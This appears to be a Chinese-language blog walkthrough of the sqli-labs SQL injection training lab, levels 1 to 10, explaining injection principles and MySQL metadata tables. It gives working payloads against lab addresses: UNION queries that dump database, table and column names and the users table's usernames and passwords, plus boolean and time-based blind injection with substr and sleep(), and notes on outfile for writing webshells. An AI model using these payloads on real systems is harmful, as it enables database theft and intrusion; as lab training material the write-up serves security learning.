sql注入靶场sqli-labs 1-10关通关教程
sql注入是指web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的sql语句来实现对数据库的任意操作。
sql注入原理
sql注入漏洞的产生需要满足以下两个条件:
- 参数用户可控:前端传给后端的参数内容是用户可控的。
- 参数带入数据库查询:传入的参数拼接到sql语句,且带入数据库查询。
当传入的ID参数为1’时,数据库执行的代码如下表示:
1 | select * from users where id =1' |
这不符合数据库语法规范,所以会报错。当传入的ID参数为and 1=1时,执行的sql语句如下:
1 | select * from users where id = 1 and 1=1 |
因为1=1为真,且where语句中id=1也为真,所以页面会返回与id=1相同的结果。当传入的ID参数为and 1=2不成立,所以返回假,页面就会返回与id=1不同的结果。
由此可以初步判断ID参数存在sql注入漏洞,攻击者可以进一步拼接sql语句进行攻击,导致数据库信息泄露,甚至进一步获取服务器权限等。
mysql相关知识点
在mysql5.0版本之后,mysql默认在数据库中存放一个‘information——schema’的数据库,在该数据库中分别有三个表:SCHEMATA、TABLES、COLUMNS。
- SCHEMATA表: 储存该用户创建的所有数据库的库名。记录数据库库名的表字段为SCHEMA_NAME
- TABLES表:表示该用户创建的所有数据库的库名和表名,该表记录数据库库名和表名的字段分别为TABLE_SCHEMA和TABLE_NAME。
- COLUMNS表:储存该用户创建的所有数据库的库名、表名、字段名,该表记录数据库库名、表名和字段名的字段名为TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME。
limit的用法
limit的使用格式为limit m,n,其中m是指记录开始的位置,从0开始,表示第一条记录:n是指取n条记录。例如limit 0,1表示从第一条记录开始,取一条记录。
注释符
在mysql中,常见注释符的表达方式:
Less-1
看提示为字符型注入,分别尝试?id=1
、?id=1
‘、?id=1"
添加到url中,发现?id=1'
报错,说明是字符型注入而且是单引号注入。
我们可以在http://192.168.150.16/Less-1/后面直接添加`?id=1'`,结果如下图:
从上面的错误当中,可以看到提交到sql中的1'
在经过sql语句构造后形成'1'' LIMIT 0,1
,多加了一个'
。这种方式就是从错误信息中得到需要的信息,接下来就是去掉多余的'
。
知识点
在url中空格和一些特殊字符会进行url编码,例如:
- #:%23
- 空格:%20
- ‘:%27
- +:空格
开始注入
这里选择在'
后面加上--+
进行闭合。访问id=1 and 1=1
,由于and 1=1
为真,所以页面应返回与id=1
相同的结果,如下图
访问id=1 and 1=2
,由于and 1=2
为假,所以页面应返回与id=1
不同的结果。如下图:
可以得出该网站可能存在sql注入漏洞的结论。接着使用order by
查询该数据表的字段数量。如下图:
在数据库中查询参数ID对应的内容然后将数据库的内容输出到页面,由于是将数据输出到页面上的,所以可以使用Union注入,并通过order by
查询结果,得到字段数为3,所以union注入的语句如下表示
1 | union select 1,2,3 |
可以通过设置参数ID值,让服务器端返回union select的结果,例如:把ID的值设置-1,这样数据库中没有id=-1的数据,所以会返回union select的结果。
返回结果为2和3,意味着在union select 1,2,3中,2和3的位置可以输入MySQL语句。
爆库名
1 | http://192.168.150.16/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+ |
爆表名
1 | http://192.168.150.16/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+ |
爆表字段
1 | http://192.168.150.16/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+ |
爆表字段的内容
1 | http://192.168.150.16/Less-1/?id=-1' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users) --+ |
Less-2
数字型注入,不需要去闭合。
Less-3
跟第一关基本一样,这个是需要闭合前面的括号。')
1 | $sql=select * from users where id=("$id"); |
Less-4
跟第三关一样,')
换成")
这样就可以啦。
Less-5
打开发现只有一个you are in….. 将id改为一个不存在的数值就消失,可以判断是盲注,加单引号就报错,所以有sql注入。
由于页面只返回you are in…..或者不显示,所以此处不可使用union注入。可以尝试boolean进行注入或者其他方法,这里我使用的是Boolean。
Boolean注入是指构造SQL判断语句,通过查看页面的返回结果来推测那些SQL判断条件是成立的,以此获取数据库中的数据。
这里使用的工具是burpsuite。
- 判断数据库名的长度。
由此可以得出数据库库名长度为8。
- 利用substr判断数据库的库名
数据库的库名范围一般在a~Z、0-9之内,可能还有一些特殊字符,这里的字母不区分大小写。逐字符判断的sql语句为:
1 | ' and substr(database(),1,1)='i'--+ |
substr是截取的意思,意思是截取database()的值,从第一个字符开始,每次只返回一个。
substr的用法跟limit的有区别,需要注意。limit是从0开始排序,而这里是从1开始排序。可以使用burp的爆破功能爆破其中的’i’值。
- 利用substr判断数据库的表名
以此类推,就可以查询出所有的表名与字段名。
Less-6
跟第五关一样,只是将单引号换成了双引号。
Less-7
在这里的显示是Use oufile,oufile函数是mysql写入文件的一种函数,经常被用来写入webshell,同时mysql还有个读取文件的函数load_file函数,但是使用之前都需要找到网站的绝对路径。注意这两个函数能否成功执行受到参数secure_file_priv的影响。
- 其中当参数secure_file_priv为空时,对导入导出无限制
- 当值为一个指定的目录时,只能向指定的目录导入导出
- 当值被设置为NULL时,禁止导入导出功能
这一关还是忍不住使用了sqlmap,手动滑稽。
这篇有详细的思路:sqli-labs通关教程—-1~10关
Less-8
不能使用报错注入,其他跟第五关一样。
Less-9
这一关使用的是时间注入攻击。时间注入是利用sleep()或benchmark()等函数让MySQL的执行时间变长。时间盲注多与IF(expr1,expr2,expr3)结合使用,此IF语句含义是:如果expr1为true,则IF()的返回值为expr2:否则返回值则为expr3。
所以判断数据库的长度语句为:
1 | ?id=1' and if (length(database())>1,sleep(5),1) |
可以看到页面相应时间为5s。多次测试后可以得到数据库库名的长度。
接下来就可以进行对数据库表名的猜解。
语句为:
1 | ?id=1' and if (substr(database(),1,1)='s',sleep(5),1) |
说明数据库名的第一位字母为s,以此类推就可以得到完整的数据库的库名,表名、字段名、和具体数据。
- 爆表名:
1 | http://192.168.150.17/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),1) --+ |
- 爆列名
1 | http://192.168.150.17/Less-9/?id=1' and if(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)>'e',sleep(5),1) --+ |
- 具体数据
1 | http://192.168.150.17/Less-9/?id=1' and If(ascii(substr((select password from users limit 0,1),1,1))<101,sleep(5),1) --+ |
Less-10
跟第九关一样时间盲注,单引号换成双引号。
参考
- sqli-labs通关教程—-1~10关
- web安全攻防渗透测试指南